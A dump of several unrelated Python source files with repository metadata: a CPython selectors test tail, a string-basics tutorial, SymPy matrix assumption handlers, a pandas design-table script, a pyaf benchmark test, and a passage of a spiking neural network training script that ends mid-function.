s.modify(rd, selectors.EVENT_WRITE) self.assertNotEqual(key.events, key2.events) self.assertEqual(key2, s.get_key(rd)) s.unregister(rd) # modify data d1 = object() d2 = object() key = s.register(rd, selectors.EVENT_READ, d1) key2 = s.modify(rd, selectors.EVENT_READ, d2) self.assertEqual(key.events, key2.events) self.assertNotEqual(key.data, key2.data) self.assertEqual(key2, s.get_key(rd)) self.assertEqual(key2.data, d2) # modify unknown file obj self.assertRaises(KeyError, s.modify, 999999, selectors.EVENT_READ) # modify use a shortcut d3 = object() s.register = unittest.mock.Mock() s.unregister = unittest.mock.Mock() s.modify(rd, selectors.EVENT_READ, d3) self.assertFalse(s.register.called) self.assertFalse(s.unregister.called) def test_close(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() s.register(rd, selectors.EVENT_READ) s.register(wr, selectors.EVENT_WRITE) s.close() self.assertRaises(KeyError, s.get_key, rd) self.assertRaises(KeyError, s.get_key, wr) def test_get_key(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() key = s.register(rd, selectors.EVENT_READ, "data") self.assertEqual(key, s.get_key(rd)) # unknown file obj self.assertRaises(KeyError, s.get_key, 999999) def test_get_map(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() keys = s.get_map() self.assertFalse(keys) self.assertEqual(len(keys), 0) self.assertEqual(list(keys), []) key = s.register(rd, selectors.EVENT_READ, "data") self.assertIn(rd, keys) self.assertEqual(key, keys[rd]) self.assertEqual(len(keys), 1) self.assertEqual(list(keys), [rd.fileno()]) self.assertEqual(list(keys.values()), [key]) # unknown file obj with self.assertRaises(KeyError): keys[999999] # Read-only mapping with self.assertRaises(TypeError): del keys[rd] def test_select(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() s.register(rd, selectors.EVENT_READ) wr_key = s.register(wr, selectors.EVENT_WRITE) result = s.select() for key, events in result: self.assertTrue(isinstance(key, selectors.SelectorKey)) self.assertTrue(events) self.assertFalse(events & ~(selectors.EVENT_READ | selectors.EVENT_WRITE)) self.assertEqual([(wr_key, selectors.EVENT_WRITE)], result) def test_context_manager(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() with s as sel: sel.register(rd, selectors.EVENT_READ) sel.register(wr, selectors.EVENT_WRITE) self.assertRaises(KeyError, s.get_key, rd) self.assertRaises(KeyError, s.get_key, wr) def test_fileno(self): s = self.SELECTOR() self.addCleanup(s.close) if hasattr(s, 'fileno'): fd = s.fileno() self.assertTrue(isinstance(fd, int)) self.assertGreaterEqual(fd, 0) def test_selector(self): s = self.SELECTOR() self.addCleanup(s.close) NUM_SOCKETS = 12 MSG = b" This is a test." MSG_LEN = len(MSG) readers = [] writers = [] r2w = {} w2r = {} for i in range(NUM_SOCKETS): rd, wr = self.make_socketpair() s.register(rd, selectors.EVENT_READ) s.register(wr, selectors.EVENT_WRITE) readers.append(rd) writers.append(wr) r2w[rd] = wr w2r[wr] = rd bufs = [] while writers: ready = s.select() ready_writers = find_ready_matching(ready, selectors.EVENT_WRITE) if not ready_writers: self.fail("no sockets ready for writing") wr = random.choice(ready_writers) wr.send(MSG) for i in range(10): ready = s.select() ready_readers = find_ready_matching(ready, selectors.EVENT_READ) if ready_readers: break # there might be a delay between the write to the write end and # the read end is reported ready sleep(0.1) else: self.fail("no sockets ready for reading") self.assertEqual([w2r[wr]], ready_readers) rd = ready_readers[0] buf = rd.recv(MSG_LEN) self.assertEqual(len(buf), MSG_LEN) bufs.append(buf) s.unregister(r2w[rd]) s.unregister(rd) writers.remove(r2w[rd]) self.assertEqual(bufs, [MSG] * NUM_SOCKETS) def test_timeout(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() s.register(wr, selectors.EVENT_WRITE) t = time() self.assertEqual(1, len(s.select(0))) self.assertEqual(1, len(s.select(-1))) self.assertLess(time() - t, 0.5) s.unregister(wr) s.register(rd, selectors.EVENT_READ) t = time() self.assertFalse(s.select(0)) self.assertFalse(s.select(-1)) self.assertLess(time() - t, 0.5) t0 = time() self.assertFalse(s.select(1)) t1 = time() dt = t1 - t0 self.assertTrue(0.8 <= dt <= 1.6, dt) @unittest.skipUnless(hasattr(signal, "alarm"), "signal.alarm() required for this test") def test_select_interrupt(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() orig_alrm_handler = signal.signal(signal.SIGALRM, lambda *args: None) self.addCleanup(signal.signal, signal.SIGALRM, orig_alrm_handler) self.addCleanup(signal.alarm, 0) signal.alarm(1) s.register(rd, selectors.EVENT_READ) t = time() self.assertFalse(s.select(2)) self.assertLess(time() - t, 2.5) class ScalableSelectorMixIn: # see issue #18963 for why it's skipped on older OS X versions @support.requires_mac_ver(10, 5) @unittest.skipUnless(resource, "Test needs resource module") def test_above_fd_setsize(self): # A scalable implementation should have no problem with more than # FD_SETSIZE file descriptors. Since we don't know the value, we just # try to set the soft RLIMIT_NOFILE to the hard RLIMIT_NOFILE ceiling. soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE) try: resource.setrlimit(resource.RLIMIT_NOFILE, (hard, hard)) self.addCleanup(resource.setrlimit, resource.RLIMIT_NOFILE, (soft, hard)) NUM_FDS = hard except (OSError, ValueError): NUM_FDS = soft # guard for already allocated FDs (stdin, stdout...) NUM_FDS -= 32 s = self.SELECTOR() self.addCleanup(s.close) for i in range(NUM_FDS // 2): try: rd, wr = self.make_socketpair() except OSError: # too many FDs, skip - note that we should only catch EMFILE # here, but apparently *BSD and Solaris can fail upon connect() # or bind() with EADDRNOTAVAIL, so let's be safe self.skipTest("FD limit reached") try: s.register(rd, selectors.EVENT_READ) s.register(wr, selectors.EVENT_WRITE) except OSError as e: if e.errno == errno.ENOSPC: # this can be raised by epoll if we go over # fs.epoll.max_user_watches sysctl self.skipTest("FD limit reached") raise self.assertEqual(NUM_FDS // 2, len(s.select())) class DefaultSelectorTestCase(BaseSelectorTestCase): SELECTOR = selectors.DefaultSelector class SelectSelectorTestCase(BaseSelectorTestCase): SELECTOR = selectors.SelectSelector @unittest.skipUnless(hasattr(selectors, 'PollSelector'), "Test needs selectors.PollSelector") class PollSelectorTestCase(BaseSelectorTestCase, ScalableSelectorMixIn): SELECTOR = getattr(selectors, 'PollSelector', None) @unittest.skipUnless(hasattr(selectors, 'EpollSelector'), "Test needs selectors.EpollSelector") class EpollSelectorTestCase(BaseSelectorTestCase, ScalableSelectorMixIn): SELECTOR = getattr(selectors, 'EpollSelector', None) @unittest.skipUnless(hasattr(selectors, 'KqueueSelector'), "Test needs selectors.KqueueSelector)") class KqueueSelectorTestCase(BaseSelectorTestCase, ScalableSelectorMixIn): SELECTOR = getattr(selectors, 'KqueueSelector', None) @unittest.skipUnless(hasattr(selectors, 'DevpollSelector'), "Test needs selectors.DevpollSelector") class DevpollSelectorTestCase(BaseSelectorTestCase, ScalableSelectorMixIn): SELECTOR = getattr(selectors, 'DevpollSelector', None) def test_main(): tests = [DefaultSelectorTestCase, SelectSelectorTestCase, PollSelectorTestCase, EpollSelectorTestCase, KqueueSelectorTestCase, DevpollSelectorTestCase] support.run_unittest(*tests) support.reap_children() if __name__ == "__main__": test_main()
f4a25896e546374e0f6ccf4c1c1b90b47bf1f1f4
89caf19c6e2c9c0c7590226266a1f1fb2bd13d56
/day1/08-strings.py
b7f7fdf17be5e5abf806af3112b5227f57247cbc
[]
no_license
ash/python-in-5days
2af3e4477210fd6e8710b148a1a3c187604695c2
76252fe2b905d1aee0772908742a6bb814a6ef99
refs/heads/master
2021-04-06T20:47:06.667013
2018-03-21T15:06:05
2018-03-21T15:06:05
125,269,790
0
1
null
null
null
null
UTF-8
Python
false
false
1,000
py
# Quoting strings: single or double quotes are equivalent. # Choose the one that makes it easy to add quotes inside a string: s1 = 'single " quote' s2 = "double ' quotes" # Escpaing characters with a backslash: s3 = 'escape \' continue' print(s3) # More escaped symbols: # \n = newline # \t = tab # \r = line feed # \b = bell # Unicode is OK: city = 'Zürich' print(city) # You can force an encoding if needed: print(city.encode(encoding='Latin-1')) # To sort, transform Straßse to strasse: s = 'Straße' print(s.casefold()) print(s) # Create a strings explicitly: s = str(123) print(type(s)) # There are also other 'string' types: # bytes() # bytearray() # This is how you concatenate strings: big_string = "first part " "second part" big_string = "first part " + "second part" print(big_string) # String repetion using * string1 = "Hello!" print(string1 * 10) print(10 * string1) # When printing a string, make sure all parts are strings: print('123' + str(456)) print(int('123') + 456)
aa9391f19bf035a434073071c54fd1eef693ab39
d094ba0c8a9b1217fbf014aa79a283a49aabe88c
/env/lib/python3.6/site-packages/sympy/assumptions/handlers/matrices.py
55b007a30626f701718009b05a0bfb4ba79b7a4b
[ "Apache-2.0" ]
permissive
Raniac/NEURO-LEARN
d9274e0baadd97bb02da54bdfcf6ca091fc1c703
3c3acc55de8ba741e673063378e6cbaf10b64c7a
refs/heads/master
2022-12-25T23:46:54.922237
2020-09-06T03:15:14
2020-09-06T03:15:14
182,013,100
9
2
Apache-2.0
2022-12-09T21:01:00
2019-04-18T03:57:00
CSS
UTF-8
Python
false
false
14,783
py
""" This module contains query handlers responsible for calculus queries: infinitesimal, bounded, etc. """ from __future__ import print_function, division from sympy.logic.boolalg import conjuncts from sympy.assumptions import Q, ask from sympy.assumptions.handlers import CommonHandler, test_closed_group from sympy.matrices.expressions import MatMul, MatrixExpr from sympy.core.logic import fuzzy_and from sympy.utilities.iterables import sift from sympy.core import Basic from functools import partial def _Factorization(predicate, expr, assumptions): if predicate in expr.predicates: return True class AskSquareHandler(CommonHandler): """ Handler for key 'square' """ @staticmethod def MatrixExpr(expr, assumptions): return expr.shape[0] == expr.shape[1] class AskSymmetricHandler(CommonHandler): """ Handler for key 'symmetric' """ @staticmethod def MatMul(expr, assumptions): factor, mmul = expr.as_coeff_mmul() if all(ask(Q.symmetric(arg), assumptions) for arg in mmul.args): return True # TODO: implement sathandlers system for the matrices. # Now it duplicates the general fact: Implies(Q.diagonal, Q.symmetric). if ask(Q.diagonal(expr), assumptions): return True if len(mmul.args) >= 2 and mmul.args[0] == mmul.args[-1].T: if len(mmul.args) == 2: return True return ask(Q.symmetric(MatMul(*mmul.args[1:-1])), assumptions) @staticmethod def MatAdd(expr, assumptions): return all(ask(Q.symmetric(arg), assumptions) for arg in expr.args) @staticmethod def MatrixSymbol(expr, assumptions): if not expr.is_square: return False # TODO: implement sathandlers system for the matrices. # Now it duplicates the general fact: Implies(Q.diagonal, Q.symmetric). if ask(Q.diagonal(expr), assumptions): return True if Q.symmetric(expr) in conjuncts(assumptions): return True @staticmethod def ZeroMatrix(expr, assumptions): return ask(Q.square(expr), assumptions) @staticmethod def Transpose(expr, assumptions): return ask(Q.symmetric(expr.arg), assumptions) Inverse = Transpose @staticmethod def MatrixSlice(expr, assumptions): # TODO: implement sathandlers system for the matrices. # Now it duplicates the general fact: Implies(Q.diagonal, Q.symmetric). if ask(Q.diagonal(expr), assumptions): return True if not expr.on_diag: return None else: return ask(Q.symmetric(expr.parent), assumptions) Identity = staticmethod(CommonHandler.AlwaysTrue) class AskInvertibleHandler(CommonHandler): """ Handler for key 'invertible' """ @staticmethod def MatMul(expr, assumptions): factor, mmul = expr.as_coeff_mmul() if all(ask(Q.invertible(arg), assumptions) for arg in mmul.args): return True if any(ask(Q.invertible(arg), assumptions) is False for arg in mmul.args): return False @staticmethod def MatAdd(expr, assumptions): return None @staticmethod def MatrixSymbol(expr, assumptions): if not expr.is_square: return False if Q.invertible(expr) in conjuncts(assumptions): return True Identity, Inverse = [staticmethod(CommonHandler.AlwaysTrue)]*2 ZeroMatrix = staticmethod(CommonHandler.AlwaysFalse) @staticmethod def Transpose(expr, assumptions): return ask(Q.invertible(expr.arg), assumptions) @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.invertible(expr.parent), assumptions) class AskOrthogonalHandler(CommonHandler): """ Handler for key 'orthogonal' """ predicate = Q.orthogonal @staticmethod def MatMul(expr, assumptions): factor, mmul = expr.as_coeff_mmul() if (all(ask(Q.orthogonal(arg), assumptions) for arg in mmul.args) and factor == 1): return True if any(ask(Q.invertible(arg), assumptions) is False for arg in mmul.args): return False @staticmethod def MatAdd(expr, assumptions): if (len(expr.args) == 1 and ask(Q.orthogonal(expr.args[0]), assumptions)): return True @staticmethod def MatrixSymbol(expr, assumptions): if not expr.is_square: return False if Q.orthogonal(expr) in conjuncts(assumptions): return True Identity = staticmethod(CommonHandler.AlwaysTrue) ZeroMatrix = staticmethod(CommonHandler.AlwaysFalse) @staticmethod def Transpose(expr, assumptions): return ask(Q.orthogonal(expr.arg), assumptions) Inverse = Transpose @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.orthogonal(expr.parent), assumptions) Factorization = staticmethod(partial(_Factorization, Q.orthogonal)) class AskUnitaryHandler(CommonHandler): """ Handler for key 'unitary' """ predicate = Q.unitary @staticmethod def MatMul(expr, assumptions): factor, mmul = expr.as_coeff_mmul() if (all(ask(Q.unitary(arg), assumptions) for arg in mmul.args) and abs(factor) == 1): return True if any(ask(Q.invertible(arg), assumptions) is False for arg in mmul.args): return False @staticmethod def MatrixSymbol(expr, assumptions): if not expr.is_square: return False if Q.unitary(expr) in conjuncts(assumptions): return True @staticmethod def Transpose(expr, assumptions): return ask(Q.unitary(expr.arg), assumptions) Inverse = Transpose @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.unitary(expr.parent), assumptions) @staticmethod def DFT(expr, assumptions): return True Factorization = staticmethod(partial(_Factorization, Q.unitary)) Identity = staticmethod(CommonHandler.AlwaysTrue) ZeroMatrix = staticmethod(CommonHandler.AlwaysFalse) class AskFullRankHandler(CommonHandler): """ Handler for key 'fullrank' """ @staticmethod def MatMul(expr, assumptions): if all(ask(Q.fullrank(arg), assumptions) for arg in expr.args): return True Identity = staticmethod(CommonHandler.AlwaysTrue) ZeroMatrix = staticmethod(CommonHandler.AlwaysFalse) @staticmethod def Transpose(expr, assumptions): return ask(Q.fullrank(expr.arg), assumptions) Inverse = Transpose @staticmethod def MatrixSlice(expr, assumptions): if ask(Q.orthogonal(expr.parent), assumptions): return True class AskPositiveDefiniteHandler(CommonHandler): """ Handler for key 'positive_definite' """ @staticmethod def MatMul(expr, assumptions): factor, mmul = expr.as_coeff_mmul() if (all(ask(Q.positive_definite(arg), assumptions) for arg in mmul.args) and factor > 0): return True if (len(mmul.args) >= 2 and mmul.args[0] == mmul.args[-1].T and ask(Q.fullrank(mmul.args[0]), assumptions)): return ask(Q.positive_definite( MatMul(*mmul.args[1:-1])), assumptions) @staticmethod def MatAdd(expr, assumptions): if all(ask(Q.positive_definite(arg), assumptions) for arg in expr.args): return True @staticmethod def MatrixSymbol(expr, assumptions): if not expr.is_square: return False if Q.positive_definite(expr) in conjuncts(assumptions): return True Identity = staticmethod(CommonHandler.AlwaysTrue) ZeroMatrix = staticmethod(CommonHandler.AlwaysFalse) @staticmethod def Transpose(expr, assumptions): return ask(Q.positive_definite(expr.arg), assumptions) Inverse = Transpose @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.positive_definite(expr.parent), assumptions) class AskUpperTriangularHandler(CommonHandler): """ Handler for key 'upper_triangular' """ @staticmethod def MatMul(expr, assumptions): factor, matrices = expr.as_coeff_matrices() if all(ask(Q.upper_triangular(m), assumptions) for m in matrices): return True @staticmethod def MatAdd(expr, assumptions): if all(ask(Q.upper_triangular(arg), assumptions) for arg in expr.args): return True @staticmethod def MatrixSymbol(expr, assumptions): if Q.upper_triangular(expr) in conjuncts(assumptions): return True Identity, ZeroMatrix = [staticmethod(CommonHandler.AlwaysTrue)]*2 @staticmethod def Transpose(expr, assumptions): return ask(Q.lower_triangular(expr.arg), assumptions) @staticmethod def Inverse(expr, assumptions): return ask(Q.upper_triangular(expr.arg), assumptions) @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.upper_triangular(expr.parent), assumptions) Factorization = staticmethod(partial(_Factorization, Q.upper_triangular)) class AskLowerTriangularHandler(CommonHandler): """ Handler for key 'lower_triangular' """ @staticmethod def MatMul(expr, assumptions): factor, matrices = expr.as_coeff_matrices() if all(ask(Q.lower_triangular(m), assumptions) for m in matrices): return True @staticmethod def MatAdd(expr, assumptions): if all(ask(Q.lower_triangular(arg), assumptions) for arg in expr.args): return True @staticmethod def MatrixSymbol(expr, assumptions): if Q.lower_triangular(expr) in conjuncts(assumptions): return True Identity, ZeroMatrix = [staticmethod(CommonHandler.AlwaysTrue)]*2 @staticmethod def Transpose(expr, assumptions): return ask(Q.upper_triangular(expr.arg), assumptions) @staticmethod def Inverse(expr, assumptions): return ask(Q.lower_triangular(expr.arg), assumptions) @staticmethod def MatrixSlice(expr, assumptions): if not expr.on_diag: return None else: return ask(Q.lower_triangular(expr.parent), assumptions) Factorization = staticmethod(partial(_Factorization, Q.lower_triangular)) class AskDiagonalHandler(CommonHandler): """ Handler for key 'diagonal' """ @staticmethod def _is_empty_or_1x1(expr): return expr.shape == (0, 0) or expr.shape == (1, 1) @staticmethod def MatMul(expr, assumptions): if AskDiagonalHandler._is_empty_or_1x1(expr): return True factor, matrices = expr.as_coeff_matrices() if all(ask(Q.diagonal(m), assumptions) for m in matrices): return True @staticmethod def MatAdd(expr, assumptions): if all(ask(Q.diagonal(arg), assumptions) for arg in expr.args): return True @staticmethod def MatrixSymbol(expr, assumptions): if AskDiagonalHandler._is_empty_or_1x1(expr): return True if Q.diagonal(expr) in conjuncts(assumptions): return True Identity, ZeroMatrix = [staticmethod(CommonHandler.AlwaysTrue)]*2 @staticmethod def Transpose(expr, assumptions): return ask(Q.diagonal(expr.arg), assumptions) @staticmethod def Inverse(expr, assumptions): return ask(Q.diagonal(expr.arg), assumptions) @staticmethod def MatrixSlice(expr, assumptions): if AskDiagonalHandler._is_empty_or_1x1(expr): return True if not expr.on_diag: return None else: return ask(Q.diagonal(expr.parent), assumptions) @staticmethod def DiagonalMatrix(expr, assumptions): return True Factorization = staticmethod(partial(_Factorization, Q.diagonal)) def BM_elements(predicate, expr, assumptions): """ Block Matrix elements """ return all(ask(predicate(b), assumptions) for b in expr.blocks) def MS_elements(predicate, expr, assumptions): """ Matrix Slice elements """ return ask(predicate(expr.parent), assumptions) def MatMul_elements(matrix_predicate, scalar_predicate, expr, assumptions): d = sift(expr.args, lambda x: isinstance(x, MatrixExpr)) factors, matrices = d[False], d[True] return fuzzy_and([ test_closed_group(Basic(*factors), assumptions, scalar_predicate), test_closed_group(Basic(*matrices), assumptions, matrix_predicate)]) class AskIntegerElementsHandler(CommonHandler): @staticmethod def MatAdd(expr, assumptions): return test_closed_group(expr, assumptions, Q.integer_elements) HadamardProduct, Determinant, Trace, Transpose = [MatAdd]*4 ZeroMatrix, Identity = [staticmethod(CommonHandler.AlwaysTrue)]*2 MatMul = staticmethod(partial(MatMul_elements, Q.integer_elements, Q.integer)) MatrixSlice = staticmethod(partial(MS_elements, Q.integer_elements)) BlockMatrix = staticmethod(partial(BM_elements, Q.integer_elements)) class AskRealElementsHandler(CommonHandler): @staticmethod def MatAdd(expr, assumptions): return test_closed_group(expr, assumptions, Q.real_elements) HadamardProduct, Determinant, Trace, Transpose, Inverse, \ Factorization = [MatAdd]*6 MatMul = staticmethod(partial(MatMul_elements, Q.real_elements, Q.real)) MatrixSlice = staticmethod(partial(MS_elements, Q.real_elements)) BlockMatrix = staticmethod(partial(BM_elements, Q.real_elements)) class AskComplexElementsHandler(CommonHandler): @staticmethod def MatAdd(expr, assumptions): return test_closed_group(expr, assumptions, Q.complex_elements) HadamardProduct, Determinant, Trace, Transpose, Inverse, \ Factorization = [MatAdd]*6 MatMul = staticmethod(partial(MatMul_elements, Q.complex_elements, Q.complex)) MatrixSlice = staticmethod(partial(MS_elements, Q.complex_elements)) BlockMatrix = staticmethod(partial(BM_elements, Q.complex_elements)) DFT = staticmethod(CommonHandler.AlwaysTrue)
26d577fdef3604793c953c49f2c7d23bcabe0c42
4264d47b39469ff508c15aa54960b67d56082855
/scripts/design.py
359f3a688400c5b2326159c5da75cda4cf36a9a4
[]
no_license
EthanHolleman/GLOE-DRIP
5097edad289b9f1e67349540c8959d84a59a0137
ae77f2acc45be99727643466a25d69f1d13c9d48
refs/heads/main
2023-04-28T19:08:53.301899
2021-05-11T17:08:26
2021-05-11T17:08:26
360,753,763
0
0
null
null
null
null
UTF-8
Python
false
false
1,422
py
# Read an SRA table with sample information and create a "design" # table that can be used by the R metagene package for plotting # by experimental group. In the sra file the experimental group # should be under a column called "modification" and the sample # name should be under "Sample Name" (case sensitive). import pandas as pd import argparse from pathlib import Path def get_args(): parser = argparse.ArgumentParser() parser.add_argument('sra', help='Path to sra table to read.') parser.add_argument('out', help='Path to output table.') parser.add_argument('--delim', default=',', help='Delimiter of sra file.') return parser.parse_args() def read_sra(filepath, delim=',', **kwargs): return pd.read_csv(str(filepath), sep=delim, **kwargs) def design_frame(sra_frame): groups = list(set(list(sra_frame['modification']))) groups = [g.replace(' ', '_') for g in groups] print(groups) group_matrix = {} for index, row in sra_frame.iterrows(): sample_row = {g: 0 for g in groups} sample_row[str(row['modification']).replace(' ','_')] = 1 group_matrix[str(row['Sample Name'])] = sample_row return pd.DataFrame(group_matrix).transpose() def main(): args = get_args() sra_df = read_sra(args.sra) design_df = design_frame(sra_df) design_df.to_csv(args.out, sep='\t') if __name__ == '__main__': main()
9448924fade59de01de7a10fa8d88ce40717702b
d2c4934325f5ddd567963e7bd2bdc0673f92bc40
/tests/artificial/transf_Logit/trend_PolyTrend/cycle_7/ar_/test_artificial_128_Logit_PolyTrend_7__20.py
cf1fa0ed89ce35dc406211254b9440c735a0c415
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
jmabry/pyaf
797acdd585842474ff4ae1d9db5606877252d9b8
afbc15a851a2445a7824bf255af612dc429265af
refs/heads/master
2020-03-20T02:14:12.597970
2018-12-17T22:08:11
2018-12-17T22:08:11
137,104,552
0
0
BSD-3-Clause
2018-12-17T22:08:12
2018-06-12T17:15:43
Python
UTF-8
Python
false
false
265
py
import pyaf.Bench.TS_datasets as tsds import pyaf.tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "PolyTrend", cycle_length = 7, transform = "Logit", sigma = 0.0, exog_count = 20, ar_order = 0);
d2cc3e9f512438f6178c724552a5b0d6b3e88a59
7def7ded6c966b38983f9042829ddffef916b81f
/code/train/csnn_growing_inhibition_decreasing_learning_rate.py
0c03ac629b57539b120c5503fb2cc4b3076a06dc
[]
no_license
Hananel-Hazan/stdp-mnist
a4ff6056361468f80fc85151fda35aae87cefd04
c2e931fe838d42ed6ecde9d5a3317a8def2d4bb2
refs/heads/master
2021-05-12T15:19:37.460425
2018-01-09T21:27:13
2018-01-09T21:27:13
116,979,528
8
4
null
2018-01-10T16:04:42
2018-01-10T16:04:42
null
UTF-8
Python
false
false
57,353
py
''' Convolutional spiking neural network training, testing, and evaluation script. Evaluation can be done outside of this script; however, it is most straightforward to call this script with mode=train, then mode=test on HPC systems, where in the test mode, the network evaluation is written to disk. ''' import warnings warnings.filterwarnings('ignore') import matplotlib.cm as cmap import brian_no_units import networkx as nx import cPickle as p import pandas as pd import numpy as np import brian as b import argparse import random import timeit import time import math import os from mpl_toolkits.axes_grid1 import make_axes_locatable from scipy.spatial.distance import euclidean from sklearn.metrics import confusion_matrix from struct import unpack from brian import * from util import * np.set_printoptions(threshold=np.nan, linewidth=200) # only show log messages of level ERROR or higher b.log_level_error() # set these appropriate to your directory structure top_level_path = os.path.join('..', '..') MNIST_data_path = os.path.join(top_level_path, 'data') model_name = 'csnn_growing_inhibition_decreasing_learning_rate' results_path = os.path.join(top_level_path, 'results', model_name) performance_dir = os.path.join(top_level_path, 'performance', model_name) activity_dir = os.path.join(top_level_path, 'activity', model_name) deltas_dir = os.path.join(top_level_path, 'deltas', model_name) spikes_dir = os.path.join(top_level_path, 'spikes', model_name) weights_dir = os.path.join(top_level_path, 'weights', model_name) best_weights_dir = os.path.join(weights_dir, 'best') end_weights_dir = os.path.join(weights_dir, 'end') assignments_dir = os.path.join(top_level_path, 'assignments', model_name) best_assignments_dir = os.path.join(assignments_dir, 'best') end_assignments_dir = os.path.join(assignments_dir, 'end') misc_dir = os.path.join(top_level_path, 'misc', model_name) best_misc_dir = os.path.join(misc_dir, 'best') end_misc_dir = os.path.join(misc_dir, 'end') for d in [ performance_dir, activity_dir, weights_dir, deltas_dir, misc_dir, best_misc_dir, assignments_dir, best_assignments_dir, MNIST_data_path, results_path, best_weights_dir, end_weights_dir, end_misc_dir, end_assignments_dir, spikes_dir ]: if not os.path.isdir(d): os.makedirs(d) def normalize_weights(): ''' Squash the input to excitatory synaptic weights to sum to a prespecified number. ''' for conn_name in input_connections: connection = input_connections[conn_name][:].todense() for feature in xrange(conv_features): feature_connection = connection[:, feature * n_e : (feature + 1) * n_e] column_sums = np.sum(np.asarray(feature_connection), axis=0) column_factors = weight['ee_input'] / column_sums for n in xrange(n_e): dense_weights = input_connections[conn_name][:, feature * n_e + n].todense() dense_weights[convolution_locations[n]] *= column_factors[n] input_connections[conn_name][:, feature * n_e + n] = dense_weights def plot_input(rates): ''' Plot the current input example during the training procedure. ''' fig = plt.figure(fig_num, figsize = (5, 5)) im = plt.imshow(rates.reshape((28, 28)), interpolation='nearest', vmin=0, vmax=64, cmap='binary') plt.colorbar(im) plt.title('Current input example') fig.canvas.draw() return im, fig def update_input(rates, im, fig): ''' Update the input image to use for input plotting. ''' im.set_array(rates.reshape((28, 28))) fig.canvas.draw() return im def update_assignments_plot(assignments, im): im.set_array(assignments.reshape((int(np.sqrt(n_e_total)), int(np.sqrt(n_e_total)))).T) return im def get_2d_input_weights(): ''' Get the weights from the input to excitatory layer and reshape it to be two dimensional and square. ''' # specify the desired shape of the reshaped input -> excitatory weights rearranged_weights = np.zeros((conv_features * conv_size, conv_size * n_e)) # get the input -> excitatory synaptic weights connection = input_connections['XeAe'][:] for n in xrange(n_e): for feature in xrange(conv_features): temp = connection[:, feature * n_e + (n // n_e_sqrt) * n_e_sqrt + (n % n_e_sqrt)].todense() rearranged_weights[ feature * conv_size : (feature + 1) * conv_size, n * conv_size : (n + 1) * conv_size ] = \ temp[convolution_locations[n]].reshape((conv_size, conv_size)) if n_e == 1: ceil_sqrt = int(math.ceil(math.sqrt(conv_features))) square_weights = np.zeros((28 * ceil_sqrt, 28 * ceil_sqrt)) for n in xrange(conv_features): square_weights[(n // ceil_sqrt) * 28 : ((n // ceil_sqrt) + 1) * 28, (n % ceil_sqrt) * 28 : ((n % ceil_sqrt) + 1) * 28] = rearranged_weights[n * 28 : (n + 1) * 28, :] return square_weights.T else: square_weights = np.zeros((conv_size * features_sqrt * n_e_sqrt, conv_size * features_sqrt * n_e_sqrt)) for n_1 in xrange(n_e_sqrt): for n_2 in xrange(n_e_sqrt): for f_1 in xrange(features_sqrt): for f_2 in xrange(features_sqrt): square_weights[conv_size * (n_2 * features_sqrt + f_2) : conv_size * (n_2 * features_sqrt + f_2 + 1), \ conv_size * (n_1 * features_sqrt + f_1) : conv_size * (n_1 * features_sqrt + f_1 + 1)] = \ rearranged_weights[(f_1 * features_sqrt + f_2) * conv_size : (f_1 * features_sqrt + f_2 + 1) * conv_size, \ (n_1 * n_e_sqrt + n_2) * conv_size : (n_1 * n_e_sqrt + n_2 + 1) * conv_size] return square_weights.T def get_input_weights(weight_matrix): ''' Get the weights from the input to excitatory layer and reshape it to be two dimensional and square. ''' weights = [] # for each convolution feature for feature in xrange(conv_features): # for each excitatory neuron in this convolution feature for n in xrange(n_e): temp = weight_matrix[:, feature * n_e + (n // n_e_sqrt) * n_e_sqrt + (n % n_e_sqrt)] weights.append(np.ravel(temp[convolution_locations[n]])) # return the rearranged weights to display to the user return weights def plot_weights_and_assignments(assignments): ''' Plot the weights from input to excitatory layer to view during training. ''' weights = get_2d_input_weights() fig = plt.figure(fig_num, figsize=(18, 9)) ax1 = plt.subplot(121) image1 = ax1.imshow(weights, interpolation='nearest', vmin=0, vmax=wmax_ee, cmap=cmap.get_cmap('hot_r')) ax1.set_title(ending.replace('_', ' ')) ax2 = plt.subplot(122) color = plt.get_cmap('RdBu', 11) reshaped_assignments = assignments.reshape((int(np.sqrt(n_e_total)), int(np.sqrt(n_e_total)))).T image2 = ax2.matshow(reshaped_assignments, cmap=color, vmin=-1.5, vmax=9.5) ax2.set_title('Neuron labels') divider1 = make_axes_locatable(ax1) divider2 = make_axes_locatable(ax2) cax1 = divider1.append_axes("right", size="5%", pad=0.05) cax2 = divider2.append_axes("right", size="5%", pad=0.05) plt.colorbar(image1, cax=cax1) plt.colorbar(image2, cax=cax2, ticks=np.arange(-1, 10)) if n_e != 1: ax1.set_xticks(xrange(conv_size, conv_size * n_e_sqrt * features_sqrt + 1, conv_size), xrange(1, conv_size * n_e_sqrt * features_sqrt + 1)) ax1.set_yticks(xrange(conv_size, conv_size * n_e_sqrt * features_sqrt + 1, conv_size), xrange(1, conv_size * n_e_sqrt * features_sqrt + 1)) for pos in xrange(conv_size * features_sqrt, conv_size * features_sqrt * n_e_sqrt, conv_size * features_sqrt): ax1.axhline(pos) ax1.axvline(pos) else: ax1.set_xticks(xrange(conv_size, conv_size * (int(np.sqrt(conv_features)) + 1), conv_size), xrange(1, int(np.sqrt(conv_features)) + 1)) ax1.set_yticks(xrange(conv_size, conv_size * (int(np.sqrt(conv_features)) + 1), conv_size), xrange(1, int(np.sqrt(conv_features)) + 1)) plt.tight_layout() fig.canvas.draw() return fig, ax1, ax2, image1, image2 def update_weights_and_assignments(fig, 